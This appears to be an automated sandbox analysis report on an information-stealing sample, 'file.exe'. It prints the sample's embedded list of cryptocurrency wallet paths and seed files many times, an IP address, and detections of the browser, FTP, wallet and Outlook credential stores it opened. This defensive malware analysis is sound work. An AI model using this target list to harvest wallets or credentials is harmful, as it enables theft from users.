(old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001B1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 81.77\Users\user\AppData\Roaming\Binance\.finger-print.fpon
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001B1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\Coinomi\Coinomi\wallets\.
Source: file.exe, 00000000.00000002.2450878675.0000000001B1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\MultiDoge\multidoge.walletH
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2450878675.0000000001B1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 9C680Q69ers\user\AppData\Roaming\Electrum-LTC\wallets\.*O

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
